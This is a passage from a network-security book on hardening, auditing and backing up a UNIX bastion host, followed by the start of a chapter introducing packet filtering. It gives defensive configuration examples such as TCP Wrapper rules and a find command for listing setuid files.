All RPC-based services depend on a single service usually called portmap (on some machines it is known as rpcbind). If you've disabled all of the RPC-based services, you can (and should) also disable the portmap service. How can you tell if you've disabled all the RPC-based services? Before disabling portmap, but after disabling what you think are the rest of the RPC-based services, reboot the machine and then issue a rpcinfo -p command. If the output of that command shows only entries for portmap itself, this means that no other RPC services are running. On the other hand, if the output shows that other RPC services are still running, you will need to investigate further to determine what and why. If you decide to provide any RPC-based services, you must also provide the portmap service. In that case, consider using Wietse Venema's replacement portmap, which is more secure than the versions shipped with most UNIX systems (see Appendix B for information on where to find it).

Booting services

Your bastion host should probably not provide booting services; nothing should trust the host enough to be willing to boot from it. This means that, in most cases, you should disable these services:

  • tftpd

  • bootd

  • bootpd

BSD ‘r’ command services

These should all be disabled. The servers for these services are typically named rshd, rlogind, and rexecd, and are typically started by inetd. The remaining "r" services are based on these and will not run without them.

routed

Another server that your bastion host probably doesn't need is routed. This server is started at boot time from the /etc/rc files, listens to routing information broadcasts, and updates the kernel routing table based on what it hears.

You probably don't need routed on your bastion host, because your bastion host is probably located on the perimeter of your network, where routing should be fairly simple. A more secure approach is to create static routes pointing to your internal networks and a default route pointing to your Internet gateway router. You do this at boot time by adding appropriate "route add" commands to the /etc/rc files.

If you must do dynamic routing on your bastion host, obtain and use gated (see Appendix B for information on how to get it) rather than routed. gated understands the same routing protocols as routed (plus several more), but gated can be specifically told who to accept routing information from, while routed will accept information from anyone. Be sure that you set up the configuration files for gated to limit which hosts it listens to.

fingerd

The finger server supplies information about existing accounts and accounts on UNIX systems. This server is started on demand by inetd. The information provided by fingerd can be valuable to crackers; it tells them information about potential targets, such as:

  • Which accounts exist. This tells them which accounts they should try to guess passwords for.

  • Personal information about the people with accounts. This tells them what passwords to start guessing with.

  • Which accounts are in use. This tells them which accounts should be avoided, at least until they're not in use.

  • Which accounts haven't been used lately. This tells them which accounts are good targets for attack, because the owners probably won't notice that the accounts are being used.

On the other hand, Internet users often use finger (the program that talks to your fingerd daemon) quite legitimately. finger is helpful in locating email addresses and telephone numbers. Instead of simply disabling fingerd, you might want to replace it with a program that obtains information from a more basic source of contact information for your site; the information might include:

  • Your main phone number

  • Who to contact if they have questions about your site's products or services

  • Sample email addresses if standardized aliases such as Firstname_Lastname are maintained for users at your site

  • Who to contact in case of network or security problems involving your site

You can provide this kind of generic information to anybody who uses finger to check on your site, regardless of what specific information they've requested. The easiest way to accomplish this is to put the information in a file (for example, /etc/finger_info) and then replace the part of the /etc/inetd.conf entry for fingerd that specifies the program to run with something like /bin/cat /etc/finger_info. Doing this causes the contents of the /etc/finger_info file to be returned to anyone contacting your fingerd server.

For example, here is the old /etc/inetd.conf line from Great Circle Associate's system:

finger stream tcp nowait nobody /usr/libexec/fingerd fingerd

and here is the new /etc/inetd.conf line:

finger stream tcp nowait nobody /bin/cat cat /etc/finger_info

and here are the contents of the /etc/finger_info file:

Great Circle Associates
Phone: +1 415 962 0841
Email: Info@GreatCircle.COM

For more information, or to report system problems, please
send email or call.
ftpd

If you're going to provide anonymous FTP service on your bastion host, you need to reconfigure the FTP server appropriately. You should replace the ftpd program with one more suited to providing anonymous FTP service than the standard ftpd programs shipped by most UNIX vendors. (See Chapter 8 for information about providing anonymous FTP service.)

If you're not going to provide anonymous FTP, you can probably disable your FTP server entirely; it's started on demand by inetd.

Even if you've disabled the FTP server on your bastion host, you can still use the FTP client program (typically called simply ftp) on the bastion host to transfer files to and from other systems. You'll just have to do the work from the bastion host, instead of from the other systems.

Other services

There are lots of other services you probably don't need and should disable. Although the specific list depends on your own site's security policy and needs, and on the platform you're using, it should probably include the following:

  • uucpd (UUCP over TCP/IP)

  • rwhod (sort of like fingerd, in that it tells you who's currently logged in on the system)

  • lpd (the printer daemon)

5.8.2.5 Turning off routing

If you have a dual-homed host that is not supposed to be a router, you will need to specifically disable routing. In order to act as an IP router, a dual-homed host needs to accept packets that are addressed to other machines' IP addresses, and send them on appropriately. This is known as IP forwarding, and it's usually implemented at a low level in the operating system kernel. An IP-capable host with multiple interfaces normally does this automatically, without any special configuration.

Other machines have to know that the dual-homed host is a router in order to use it as such. Sometimes this is done simply by configuring those machines to always route packets for certain networks to the dual-homed host (this is called static routing). More often, however, the dual-homed host is configured to broadcast its routing capabilities via a routing protocol such as Routing Information Protocol (RIP). Other machines hear these routing broadcasts and adjust their own routing tables accordingly (this is called dynamic routing). This broadcast of routing information by the dual-homed host is usually done by an additional program (for example, routed or gated on a UNIX system), which often has to be turned on explicitly.

To use a dual-homed host as a firewall, you need to convert it to a nonrouting dual-homed host; you take a machine that has two network interfaces, and you configure it so it can't act as a router between those two interfaces. This is a two-step process:

  1. Turn off any program that might be advertising it as a router; this is usually relatively straightforward.

  2. Disable IP forwarding; this is considerably more difficult, and may require modifying the operating system kernel.

Fortunately, these days a number of UNIX vendors provide supported parameters for turning off IP forwarding. Even for vendors that don't, it's about as easy as kernel patches get on most machines: turning off IP forwarding necessitates only a change in the value of a single kernel variable. You need to consult your vendor to find out how to turn off IP forwarding on your machines.

Unfortunately, it's not always that easy to turn off all routing, particularly on BSD-based systems, such as SunOS and Ultrix. On such systems, you can patch the kernel to turn off IP forwarding, but the IP source-routing option usually remains a security hole.

What is source routing? Normal IP packets have only source and destination addresses in their headers, with no information about the route the packet should take from the source to the destination. It's the job of the routers in between the source and the destination to determine the most efficient route. However, source-routed IP packets contain additional information in the IP header that specifies the route the packet should take. This additional routing information is specified by the source host; thus the term source-routed.

When a router receives a source-routed packet, it follows the route specified in the packet, instead of determining the most efficient route from source to destination. The source-routing specification overrides the ordinary routing. Because of the way the routing code is implemented in most UNIX kernels, turning off IP forwarding does not disable forwarding of source-routed packets. It's implemented completely separately. Unlike IP forwarding, source routing is not generally an easily patchable option. It is possible to disable it (you can disable anything with persistence and/or source code), but it's much more difficult.

Source-routed packets can easily be generated by modern applications like the Telnet client that's freely available on the Internet as part of the BSD 4.4 release. Unless you block source-routed packets somewhere else, such as in a router between the dual-homed host and the Internet, source-routed packets can blow right past your dual-homed host and into your internal network.

Worse still, source routing goes both ways. Once source-routed packets make their way to an internal system, the system is supposed to reply with source-routed packets that use the inverse of the original route. The reply from your internal system back to the attacker will also blow right through your dual-homed host, allowing two-way connection through a firewall that was supposed to block all communications across it.

If you are not going to screen your dual-homed host, you will need to patch your operating system so that it rejects source-routed packets. Consult your vendor, and/or appropriate security mailing lists (discussed in Appendix A) for information on how to do this on your platform. This is not the sort of thing most vendors' customer support structures deal with rapidly and painlessly; expect to have to dig to find what you need to know.

5.8.3 Installing and Modifying Services

Some of the services you want to provide may not be provided with your operating system (for example, WWW generally is not). Others may be provided but are inappropriate for use in a secure environment or are missing features you probably want (for example, stock fingerd and ftpd). Even those few remaining services that are provided, secure, and up-to-date in your vendor's operating system release should be protected with the TCP Wrapper package or the netacl program from the TIS FWTK to improve security and provide logging. (Although TCP Wrapper and netacl will increase security, they're not perfect; they rely on the source IP address to identify hosts, and IP addresses can be forged.)

For detailed information about individual services, including advice on selecting WWW, NNTP, and FTP servers, see Chapter 8.

Whatever services you do leave enabled should also be protected to the extent possible by the TCP Wrapper package or the netacl program, as we describe in the following sections. For example, you might want to set up your bastion host so that it only accepts Telnet connections from one specific machine, such as the workstation you normally use.

5.8.3.1 Using the TCP Wrapper package to protect services

The TCP Wrapper package, written by Wietse Venema, monitors incoming network traffic and controls network activity. It is a simple but very effective piece of publicly available software set up to run whenever certain ports (corresponding to certain services) are connected. TCP Wrapper provides simple access control list protection, as well as improved logging, for services that are started by inetd.

Using the TCP Wrapper package is easy. Here's what you do:

  1. Install the package and set up a pair of simple access control files that define which hosts and networks are allowed to access which services.

  2. Reconfigure your inetd to run the main TCP Wrapper program (called tcpd) instead of the "real" server.

  3. When a request for a service comes in, inetd starts tcpd, which evaluates the request against the TCP Wrapper configuration files. This program decides whether or not to log the request, and whether or not to carry out the request.

  4. If tcpd decides that the request is acceptable, it starts the "real" server to process the request.

For example, if you want to allow Telnet connections from a specific host (172.16.1.2) to your machine, but deny Telnet connections from all other hosts, you would change the line for telnetd in your /etc/inetd.conf file to say something like:

telnet stream tcp nowait root /usr/local/libexec/tcpd telnetd

You would also need to create an /etc/hosts.allow file that tells the TCP Wrapper package (the tcpd program) which host to allow connections from:

telnetd : 172.16.1.2

And finally, you'd need to create an /etc/hosts.deny file to tell the TCP Wrapper package to deny all connections from all hosts by default, and to send email to root about each probe:

ALL : ALL : (/usr/local/etc/safe_finger -l @%h | \
    /usr/ucb/Mail -s "PROBE %d from %c" root)&

Note that the /etc/hosts.deny file only applies to services protected by the TCP Wrapper package (that is, services for which you've configured inetd to run tcpd instead of the real server). If you don't tell inetd to run the TCP Wrapper package (the tcpd program) for a given service, then the TCP Wrapper package won't do anything regarding that service.

Despite its name, the TCP Wrapper package supports UDP-based services in addition to TCP-based services. Beware, however, that the TCP Wrapper package can only control when to start UDP-based servers; it cannot control access to those servers once they're started, and many UDP-based servers will hang around and continue to process requests for some period of time beyond the initial start-up request. Many eventually time out and exit, but once they've been started through a legitimate request, they're vulnerable to illegitimate requests.

5.8.3.2 Using netacl to protect services

The netacl component of the TIS FWTK (described in some detail in Chapter 7, Proxy Systems) provides much the same capability as the TCP Wrapper package. To implement the same example as above (except for the ability to trace probes from unauthorized systems) using netacl, you would change the line for telnetd in your /etc/inetd.conf file to:

telnet stream tcp nowait root /usr/local/lib/netacl telnetd

Then, you would add the following lines to your FWTK netperm configuration file (wherever that is on your system):

netacl-telnetd: permit-hosts 172.16.1.2 -exec /usr/libexec/telnetd

5.8.4 Reconfiguring for Production

Now it's time to move the machine from the configuration that was useful to you when you were building it to the best configuration for running it. You'll need to do several things:

  • Reconfigure and rebuild the kernel.

  • Remove all unnecessary programs.

  • Mount as many filesystems as possible to read-only.

Once you've deleted all the services that aren't used on a day-to-day basis, you'll find that it is very difficult to work on the bastion host, e.g., when you need to install new software packages or upgrade existing ones. Here are some suggestions for what to do when you find it necessary to do extensive work on the bastion host:

  • Write all the tools to a tape before deleting them, and then restore them from tape when needed. Don't forget to delete them each time after you're done.

  • Set up a small, external, alternate boot disk with all the tools on it. Then, plug the disk in and boot from it when you need the tools. Don't leave the disk connected during routine operations, however; you don't want an attacker to be able to mount the disk and use the tools against you.

You don't want an intruder to attack the machine while you're working on it. To keep that from happening, follow these steps:

  1. Either disconnect the bastion host from the network or disconnect your network from the Internet before you begin.

  2. Give the bastion host back the tools you'll need to use (as we've described above).

  3. After you've finished your work on the machine, return it to its normal (stripped down) operating condition.

  4. Reconnect the bastion host to the network or your network to the Internet.

You may find it easier to simply remove the bastion host's disk and attach it to an internal host as a nonsystem disk; you can then use the internal host's tools without fear of having them remain available when the bastion host is returned to service. This procedure also guarantees that the bastion host is not vulnerable to compromise from the outside while you are doing the work, since it is entirely nonfunctional while its disk is removed and not susceptible to accidental reconnection.

5.8.4.1 Reconfigure and rebuild the kernel

The first step in this phase of building your bastion host is to rebuild the operating system kernel to remove kernel capabilities you don't need. This may sound intimidating, but it's generally a relatively straightforward operation; it needs to be, because you'll be using the same capabilities you'd use to install a new type of device on your system. Every UNIX system, as shipped, contains some form of configuration support (they range considerably in how kernel reconfiguration is supported and in what you can do). Besides reducing the size of your kernel (and thereby making more memory available for other purposes), rebuilding the kernel denies to attackers the chance to exploit these capabilities.

Some capabilities are particularly dangerous. In particular, you should probably remove the following capabilities or device drivers:

  • NFS and related capabilities

  • Anything that enables network sniffing, e.g., Network Interface Tap (NIT) or Berkeley Packet Filter (BPF)

Although NIT and BPF are provided for testing and debugging purposes, they are frequently used by attackers. NIT and BPF are dangerous because they let the machine grab all packets off the Ethernet it's attached to, instead of only the packets addressed to it. Disabling these capabilities may prevent you from using the machine as a packet filtering system, so you may not be able to delete them in all architectures.

If your bastion host is a dual-homed host, this is the time to disable IP forwarding.

You have to be more careful when you disable kernel capabilities than when you disable services started by inetd or at boot time from the /etc/rc files (as described earlier). There are a lot of interdependencies between kernel capabilities. For this reason, it's sometimes hard to determine exactly what a given capability is used for. The consequences of disabling a capability that is actually needed can be severe, e.g., the new kernel might not boot.

Make sure you follow your vendor's instructions for building and installing new kernels. Always keep a backup copy of your old kernel. If you have a backup, you can boot from it if you find out that something is wrong with the new kernel. Be sure you know how to boot a backup kernel and look up the procedure before you try to boot onto the new kernel. Be sure the backup kernel is in the root partition; you can't boot from a kernel that isn't on the root partition.

When you can reboot the machine, go through the kernel configuration files the same way you went through the startup files, checking every single line to make certain that it's something you want. Again, watch for places where one configuration file contains another, and check your documentation to be sure that you've looked at all the configuration files that are consulted. Often there is one file for including device drivers and one or more for parameters; IP forwarding will be in the latter.

Once you've got a working kernel, you'll probably want to delete or encrypt your old "full function" kernel. Replace it with a backup copy of the working minimal kernel. Doing so will keep a cracker who somehow manages to break into your machine from simply using that old kernel to reboot, and thereby restore all of the services you so carefully disabled. For similar reasons, you'll probably also want to delete the files and programs needed to build a new kernel.

If your kernel uses loadable modules, it may be difficult to determine when they're used. You will want to delete or encrypt all the ones that you don't want used, but because they're not always explicitly loaded, you may not know which those are. Keeping an alternate boot medium handy, try moving them out of the directory for loadable modules. Run the machine through its paces before you finally remove or encrypt them.

Beware! Your vendor may have provided copies of "generic" kernels (which typically have every possible capability enabled) in unexpected locations for use during the installation of the machine and its (nonexistent) client machines. SunOS 4.x, for example, has such kernels in the /usr/stand directory. Poke around in all the directories where installation files are kept and all the directories for clients. The documentation generally tells you where client kernels are, but rarely tells you about the internals of the install process. Check the documentation for disaster recovery advice, which may helpfully tell you where to locate spare kernel images.

5.8.4.2 Remove nonessential programs

The next step is to remove all of the programs that aren't essential for day-to-day operation. If a program isn't there, an attacker can't exploit any bugs that it might contain. This is especially true for setuid/setgid programs, which are a very tempting target for an attacker. You should remove programs you normally think of as being essential. Remember that the bastion host is purely providing Internet services; it does not need to be a comfortable environment to work in.

Window systems and compilers are examples of major programs you can get rid of. Attackers find these programs very useful: window systems are fertile ground for security problems, and compilers can be used to build the attacker's own tools.

Before deleting programs like compilers, make sure you've finished using them yourself; make sure you've built, installed, and tested everything you're going to need on this machine, such as the tools for auditing the system (discussed later in this chapter).

Instead of simply deleting key tools you'd expect an attacker to use, such as the compiler, you might want to replace them with programs that raise an alarm (for example, sending email or tripping your pager) when someone tries to run them. You might even want to have the programs halt the system after raising the alarm, if you believe it's better for the machine to be down than under attack. This is a prime way to humiliate yourself, however; you yourself are probably the one person most likely to forget where you are to try to run a forbidden command. It's also a good way to set yourself up for denial of service attacks.

You'll want to do two scans looking for things to delete:

  1. Walk through all the standard directories for binaries on your system (everything that's in root's path or in the default user path). If you're unsure whether a program is needed, turn off execute permission on it for a while (a few days) before you remove or encrypt it and see what happens. You may also want to run the machine for a while before you do the scan and check the access times on files to see if they've been used.

  2. Use find to look for every file on the system that has the setuid or setgid bit turned on. The arguments to find differ radically from system to system, but you will probably want something like this:

    find / -type f \( -perm -04000 -o -perm -02000 \) -ls

  3. Some versions of find provide special primitives for identifying setuid and setgid files.

5.8.4.3 Mount filesystems as read-only

Once you've got the bastion host configured, you don't want anybody (particularly an attacker) to be able to change the configuration. To guard against this happening, mount the filesystems on the bastion host as read-only if possible (particularly the filesystems that contain program binaries) to protect against tampering.

It's much better if you can use hardware write-protect; an attacker may be able to remount disks with write permission without getting physical access to the machine, but it's not going to do any good if the hardware write-protect on the disk is on. Most IPI and SMD disks have switches for this on their front panels. Many SCSI disks have a "write-disable" jumper you can set. If you find powering the disk down and removing it from the case unacceptable as a way to get write access, you could wire this jumper to an external switch on the drive enclosure.

You can't write-protect everything, of course. You have to provide a certain amount of writable filesystem space for things like scratch space, system logs, and the mail spool. You might be able to use a RAM disk for this; however, you'll have to be sure that your operating system supports this, that you have enough RAM, and that you think you can afford to lose the contents of the RAM disk (for example, electronic mail in transit between internal hosts and the Internet) whenever your machine reboots.

With most versions of UNIX, you'll also have to either provide writable disk space for memory swapping or turn off swapping. Many versions of UNIX do not allow you to turn off swapping; however, they will usually allow you to use a separate disk for swap space, and that disk can safely be left writable. Using a RAM disk will increase your memory usage to the point where you will probably need swap space.

Systems based on BSD 4.4-Lite (for instance, current releases of NetBSD, FreeBSD, and the BSDI product) have a new immutable attribute that can be set on a per-file basis. If a file is marked "immutable," the file cannot be changed, not even by root, unless the system is running in single-user mode. If your operating system provides this capability, use it to protect your programs and configuration files from tampering by an attacker. (We recommend that approach only if you cannot use hardware write protection, or an additional layer of security to use with hardware write protection. Because it's implemented in software, it is more likely to be compromisable.)

5.8.5 Running a Security Audit

Once you've got the bastion host reconfigured, the next step is to run a security audit. There are two reasons for doing this. First, it gives you a way to ensure you haven't overlooked anything during system setup. Second, it establishes a "baseline," or a basis for comparison, against which you can compare future audits. In this way, you'll be able to detect any tampering with the machine.

5.8.5.1 Auditing packages

Most auditing packages have two basic purposes:

  • Checking for well-known security holes. These are holes that have been uncovered by system administrators, exploited by attackers in system break-ins, or documented in computer security books and papers.

  • Establishing a database of checksums of all files on a system; doing this allows a system administrator to recognize future changes to files - particularly unauthorized changes.

There are several very good automated auditing packages freely available on the Internet. The three most commonly used are these:

  • COPS - The Computer Oracle and Password System, developed by Dan Farmer and Gene Spafford

  • Tiger - Developed as part of the TAMU package by Texas A&M University

  • Tripwire - Developed by Gene H. Kim and Gene Spafford

COPS and Tiger both check for well-known security holes. There is significant overlap in what COPS and Tiger check; however, they're both free, so it's a good idea to obtain and run both of them to get the best possible coverage. Tripwire is a filesystem integrity checker. It is strictly a tool for dealing with checksum databases; it is much better at this than either COPS or Tiger (which both have basic checksum database capabilities), but has no ability to check for well-known security holes. These packages are independent of each other; there's nothing to prevent you from using all three of them in combination on your bastion host, and that would probably be a good idea. Appendix B gives you information on how to get all three packages.

Because the well-known security holes tend to be somewhat operating system-specific, the effectiveness of the packages that check for these security holes is very dependent on which operating system you have, and which version of the operating system it is. If it's an operating system and version the package knows about, that's great. If it isn't, then the package has to grope around blindly, trying to guess what holes might exist. (Fortunately, attackers will usually have the same problem, if not to the same extent.)

Commercial packages that perform similar functions are starting to become available, but none yet have the complete capabilities and widespread acceptance of COPS, Tiger, and Tripwire.

5.8.5.2 Use the auditing packages

How do you use the various auditing packages to audit your system? The details of what you do depend upon which package you're using. (See the documentation provided with the packages for detailed instructions.) This section provides some general tips.

You will need to do some configuration. Don't just install the program, run it, and expect you'll get reasonable results. Expect to go through several iterations of running the auditing package, getting warnings, and reconfiguring your machine or the auditing package to get rid of warnings. When you get warnings, you have to decide whether the auditing package is wrong, or you are. There will be some cases where the right thing to do is to turn off checks, but it shouldn't be your automatic response.

Once you've used the tools described in the previous section to create your initial baseline, store a copy of the tools and these initial audit results somewhere safe. Under no circumstances should you store the only copy of the baseline or the tools on the bastion host. Prepare for the worst: if someone were to break into the bastion host and tamper with the only copy of the baseline audit, this would compromise your ability to use the audit later on to detect illicit changes on the system. If intruders can change the auditing software, it doesn't matter whether they can change the baseline; they could simply set up the auditing software to reproduce the baseline. Keeping a copy of the baseline audit on a floppy disk or magnetic tape that's locked up someplace safe is a good way to protect against such a compromise. Preferably, you don't want an intruder to even read the audit results; why tell them what you expect the system to look like and what files you aren't watching?

Periodically, e.g., daily or weekly, depending on your own site's needs and capabilities, audit the machine once again and compare the new audit to the baseline. Make sure you can account for any differences you find. Ideally, you should automate this periodic re-audit so it happens regularly and reliably. Unfortunately, this is easier said than done. Arranging for automatic audits that can't be defeated by "replay" attacks can be a neat trick. In a replay attack, an attacker who has compromised your auditing system simply sends you a recording of a prior good audit whenever your system invokes the automatic auditing capability. The most practical defense against this is to run your automated auditing system often enough that it's unlikely an attacker could break in, discover the auditing system, and subvert it (covering his tracks) before the next audit runs. This suggests that you should run an audit at least daily.

5.8.5.3 About checksums for auditing

Checksums are very helpful in auditing. An intruder who changes a program or configuration file will almost certainly correct the modification dates afterwards, so you can't use these dates as a reliable index. Comparing every file to a baseline copy avoids that problem, but takes a lot of time and requires that you store a copy of every single file, effectively doubling your storage requirements. Checksums are probably your best bet.

A checksum is a number calculated from the contents of the file that will change if the file is changed. Checksum calculation is time-consuming, but not as time-consuming as reading everything twice to do a bit-by-bit compare. In addition, storing the checksums takes up much less space than storing the entire file. Checksums are not full representations of the file, however, and every checksum algorithm has cases where it will give the same checksum for two different files. The better the checksum algorithm, the less likely it is that files with the same checksum resemble each other in any other way.

For example, the common UNIX spell command uses a hashing algorithm that shares this property with checksums. spell will relatively reliably detect misspelled English words, but will often happily accept complete garbage, because random character strings may happen to have the same hashes as good words. This represents a problem only if you are likely to type "qzx" when you meant to type "the". Similarly, a good checksum algorithm may come up with the same number for /bin/login and a document containing the text of "Jabberwocky," but it won't come up with the same number for /bin/login and any other executable capable of logging people in (especially a modified copy of /bin/login).

However, the standard UNIX checksum programs (/bin/sum, for example) don't have this property. Those checksum programs use simple cyclic redundancy counter (CRC) algorithms designed to catch bit errors during data transfers. They can't keep up with the latest tools crackers use to subvert traditional checksum programs. Crackers now have programs that manipulate the unused bytes in a file (particularly an executable binary file) to make the checksum for that file come out to whatever they want it to be. They can make a modified copy of /bin/login that produces the same checksum, and sum will not be able to detect any difference

For real security, you need to use a "cryptographic" checksum algorithm like MD5 or Snefru; these algorithms produce larger and less predictable checksums that are much more difficult to spoof. The COPS, Tiger, and Tripwire auditing packages described above all include and use such algorithms in place of the normal UNIX checksum programs.

5.8.6 Connecting the Machine

Now that you have the machine fully secured, you can finally connect it to its destination network and run it. You want to do this when you're going to be around to see what happens; don't make it the last thing you do before that long overdue vacation.

Previous: 5.7 Don't Allow User Accounts on the Bastion Host | Building Internet Firewalls | Next: 5.9 Operating the Bastion Host
5.7 Don't Allow User Accounts on the Bastion Host | Book Index | 5.9 Operating the Bastion Host


[Chapter 5] 5.9 Operating the Bastion Host

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.8 Building a Bastion Host Chapter 5
Bastion Hosts 		Next: 5.10 Protecting the Machine and Backups

5.9 Operating the Bastion Host

Once you put the bastion host into production, your job has only just begun. You'll need to keep a close watch on the operations of the bastion host. Chapter 12 provides more information on how to do this; this section discusses specific concerns for bastion hosts.

5.9.1 Learn What the Normal Usage Profile Is

If you're going to monitor the bastion host, looking for abnormalities that might indicate break-ins or other types of system compromise, you will need to first develop an understanding of what the "normal" usage profile of the bastion host is. Ask these questions, and others like them:

  • How many jobs tend to be running at any one time?

  • How much CPU time do these jobs consume relative to each other?

  • What is the typical load at different times throughout the day?

Your goal is to develop an almost intuitive grasp of what your system normally runs like, so you'll be able to recognize - and investigate - anomalous activity very quickly.

5.9.2 Consider Writing Software to Automate Monitoring

Doing a thorough job of system monitoring is tough. Although the logs produced by your system provide lots of useful information, it's easy to get overwhelmed by the sheer volume of logging data. The important information may often be buried. Too often, the logs end up being used only after a break-in, when, in fact, they could be used to detect - and thus perhaps stop - a break-in while it is occurring.

Because each operating system and site is different, each bastion host is configured differently, and each site has different ideas about what the response of a monitoring system should be. For example, some want email; some want the output fed to an existing SNMP-based management system, some want the systems to trip the pagers of the system administrators, and so on. Monitoring tends to be very site- and host-specific in the details. However, there are some useful tools out there that you should be able to configure and adapt for your own use. The SWATCH (Simple WATCHer) package is a good example.

SWATCH, developed by Stephen E. Hansen and E. Todd Atkins, automates the monitoring of UNIX systems. SWATCH enhances the standard syslog facility in various ways. (See the discussion of syslog in "Setting Up System Logs" earlier in this chapter.) It sifts through the logs as they're created by syslog, and takes certain actions when certain types of log messages are found, e.g., sounding an alert when repeated unsuccessful login attempts are made to the same account, or a "file system full" message is encountered. SWATCH also includes modifications for a number of daemons to make their logging more useful; these include fingerd, ftpd, ruserok, rshd, and login. For example, login has been modified so that it allows only three login atempts; it reports to syslog on any "Incomplete Login Attempt", "Repeated Login Attempt", and "Root Login Refused" events; and it includes the account names attempted and the originating host. SWATCH can also watch files other than ones generated bysyslog. Appendix B gives you information on where to get SWATCH.[4]

[4] The 1993 and 1994 USENIX/SAGE LISA conferences (see Appendix A for information about USENIX, SAGE, and the LISA conferences) have produced a number of papers on other automated monitoring tools that were originally intended for system administration use, but that might be adapted to use in monitoring system security.

SWATCH is written in Perl, which is an unfortunately powerful tool to have sitting on a bastion host; it provides almost everything an intruder could get through having a compiler except the ability to build new kernels. You will probably want to run SWATCH on the machine that the bastion host is logging to, rather than on the bastion host itself.

Previous: 5.8 Building a Bastion Host | Building Internet Firewalls | Next: 5.10 Protecting the Machine and Backups
5.8 Building a Bastion Host | Book Index | 5.10 Protecting the Machine and Backups


[Chapter 5] 5.10 Protecting the Machine and Backups

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.9 Operating the Bastion Host Chapter 5
Bastion Hosts 		Next: 6. Packet Filtering

5.10 Protecting the Machine and Backups

Once the bastion host has been fully configured and is in operation, protect the physical machine and make sure that its backups are protected from theft or other compromise.

5.10.1 Watch Reboots Carefully

How will you know if someone has breached security? Sometimes, it's painfully obvious. But sometimes, you'll have to draw conclusions from the behavior of the system. Unexplained reboots or downtime on the system may be a clue. Many attacks, e.g., modifying a kernel, can't succeed unless the system is rebooted.

On the bastion host, crashes and reboots should be rare occurrences. Once the bastion host has been fully configured and is in production, it should be a very stable system, often running for weeks or months at a stretch without a crash or a reboot. If a crash or a reboot does occur, investigate it immediately to determine whether it was caused by some legitimate problem or might have been the result of some kind of attack.

You might want to consider configuring the bastion host so that it doesn't bring itself up automatically after an attempted reboot. That way, if someone does manage to crash or force a reboot of the machine, you'll know about it: the machine will sit there waiting for you to reboot it. The machine won't be able to come back up until you decide to do so. Even if your machine does not appear to allow you to disable autobooting, you can usually cause autoboots to fail by configuring the machine to autoboot from a nonexistent disk.

5.10.2 Do Secure Backups

Backups on a bastion host are tricky because of trust issues. Who can you trust?

You definitely don't want internal machines to trust the bastion host enough for it to dump to their tape drives. If the bastion host has somehow been compromised, this could be disastrous. You also don't want the bastion host to trust the internal machines; this could lead to subversion of the bastion host by (well-intentioned) internal users, or to attack from some host pretending to be an internal system.

Common remote dump mechanisms (for example, those used by the BSD dump and rdump programs) will probably be blocked by packet filtering between the bastion host and the internal systems anyway (we discuss this issue in Chapter 6, Packet Filtering). Therefore, you will normally want to do backups to a tape device attached directly to the bastion host. Under no circumstances should you rely on backing up the bastion host to disks that remain attached to the bastion host. You must do backups that are removed from the bastion host so they cannot be accessed by an attacker who compromises it.

Fortunately, because the bastion host is an infrequently changing machine, you won't have to do frequent backups. Once the bastion host is fully configured and in production, it should be very stable. A weekly or even monthly manual backup will probably be sufficient.

Backups of the bastion host aren't done just to guard against normal system catastrophes like disk crashes. They're also a tool that you can use later to investigate a break-in or some other security incident. They give you a way to compare what's currently on the bastion host's disk with what was there before the incident.

If you're only doing weekly or monthly backups, how you handle logging becomes an issue. If the bastion host is not being backed up daily, you must do your logging to some system other than the bastion host itself. If an incident does occur, the logs are going to be critical in reconstructing what happened. If it turns out that your only copy of the logs was on the (compromised) bastion host, and backups of the logs haven't been done for three weeks, you're going to be severely hampered in your investigative efforts.

As with all backups on all systems, you need to guard your bastion host backups as carefully as you guard the machine itself. The bastion host backups contain all the configuration information for the bastion host. An attacker who gets access to these backups would be able to analyze the security of your bastion host without ever touching it. With the information these backups provide, he may possibly find a way to break in without setting off any of the alarms on the bastion host.

Previous: 5.9 Operating the Bastion Host | Building Internet Firewalls | Next: 6. Packet Filtering
5.9 Operating the Bastion Host | Book Index | 6. Packet Filtering


[Chapter 6] Packet Filtering

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 5.10 Protecting the Machine and Backups Chapter 6 Next: 6.2 Configuring a Packet Filtering Router

6. Packet Filtering

Contents:
Why Packet Filtering?
Configuring a Packet Filtering Router
What Does a Packet Look Like?
What Does the Router Do with Packets?
Conventions for Packet Filtering Rules
Filtering by Address
Filtering by Service
Choosing a Packet Filtering Router
Where to Do Packet Filtering
Putting It All Together

Packet filtering is a network security mechanism that works by controlling what data can flow to and from a network. We provide a very brief introduction to high-level IP networking concepts (a necessity for understanding packet filtering) here, but if you're not already familiar with the topic, then before continuing, you should refer to Appendix C, TCP/IP Fundamentals for a more detailed discussion.

To transfer information across a network, the information has to be broken up into small pieces, each of which is sent separately. Breaking the information into pieces allows many systems to share the network, each sending pieces in turn. In IP networking, those small pieces of data are called packets. All data transfer across IP networks happens in the form of packets.

The basic device that interconnects IP networks is called a router. A router may be a dedicated piece of hardware that has no other purpose, or it may be a piece of software that runs on a general-purpose UNIX or PC (MS-DOS, Windows, Macintosh, or other) system. Packets traversing an internetwork (a network of networks) travel from router to router until they reach their destination. The Internet itself is sort of the granddaddy of internetworks - the ultimate "network of networks."

A router has to make a routing decision about each packet it receives; it has to decide how to send that packet on towards its ultimate destination. In general, a packet carries no information to help the router in this decision, other than the IP address of the packet's ultimate destination. The packet tells the router where it wants to go, but not how to get there. Routers communicate with each other using "routing protocols" such as the Routing Information Protocol (RIP) and Open Shortest Path First (OSPF) to build routing tables in memory to determine how to get the packets to their destinations. When routing a packet, a router compares the packet's destination address to entries in the routing table and sends the packet onward as directed by the routing table. Often, there won't be a specific route for a particular destination, and the router will use a "default route;" generally, such a route directs the packet towards smarter or better-connected routers. (The default routes at most sites point towards the Internet.)

In determining how to forward a packet towards its destination, a normal router looks only at a normal packet's destination address and asks only "How can I forward this packet?" A packet filtering router also considers the question "Should I forward this packet?" The packet filtering router answers that question according to the security policy programmed into the router via the packet filtering rules.

NOTE: Some unusual packets do contain routing information about how they are to reach their destination, using the "source route" IP option. These packets, called source-routed packets, are discussed in the section called "IP Options" below.

6.1 Why Packet Filtering?

Packet filtering lets you control (allow or disallow) data transfer based on:

  • The address the data is (supposedly) coming from

  • The address the data is going to

  • The session and application protocols being used to transfer the data

Most packet filtering systems don't do anything based on the data itself; they don't make content-based decisions.[1] Packet filtering will let you say:

[1] Some packages, like CheckPoint's FireWall-1 product, are limited exceptions to this rule.

